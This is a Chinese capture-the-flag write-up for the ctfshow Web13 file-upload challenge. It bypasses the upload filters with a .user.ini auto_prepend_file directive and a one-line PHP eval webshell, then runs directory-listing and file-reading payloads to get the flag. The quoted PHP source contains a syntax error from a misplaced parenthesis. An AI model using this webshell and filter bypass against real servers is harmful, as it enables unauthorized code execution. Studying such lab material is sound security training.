[ctfshow]Web13
Web13
题目描述
无
题目解析
打开题目是一个上传文件的表单,二话不说先传他个图片试试,直接提示error file zise,使用bp抓包把数据减小,再发,试了很多次,发现文件有长度限制。将后缀改为php尝试上传一句话,提示error suffix,看来有后缀检测。尝试用截断绕过,提示error file name。到这不会了。。
在做题的时候,还是要多试试访问备份、robots.txt等,说不定就能找到一些提示。
在这道题中,访问upload.php.bak可以下载上传文件的备份,代码如下
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
通过阅读代码,可以发现文件内容的长度要小于24,文件后缀名要小于3并且不包含php。
在php中,目录中可以设置.user.ini
文件,来对每个目录进行单独的配置,如果使用的是apache,配置.htaccess
文件也会有同样的效果。
php的配置中,auto_prepend_file和auto_append_file表示为页面增加页头和页脚,免去了每个页面都使用request()。
了解了这些,我们就可以通过写.user.ini
文件,将整个目录配置上一个页头,在页头中加入想要的内容,访问时就可以执行其中的命令。
.user.ini
中写入 auto_prepend_file=a.txt
,然后再写入一个a.txt
,里面加入<?php eval($_GET['a']);?>
用来执行命令。如果写POST一句话使用蚁剑可以连接上,但是提示没有权限。
上传之后就可以利用命令执行了,访问?a=print_r(scandir('.'));
可以发现一个文件名很长的文件,使用?a=highlight_file('xxx')
即可输出flag。
参考文章
https://www.cnblogs.com/awsole/p/14388357.html
https://www.cnblogs.com/tianxin2001x/archive/2010/01/20/1652163.html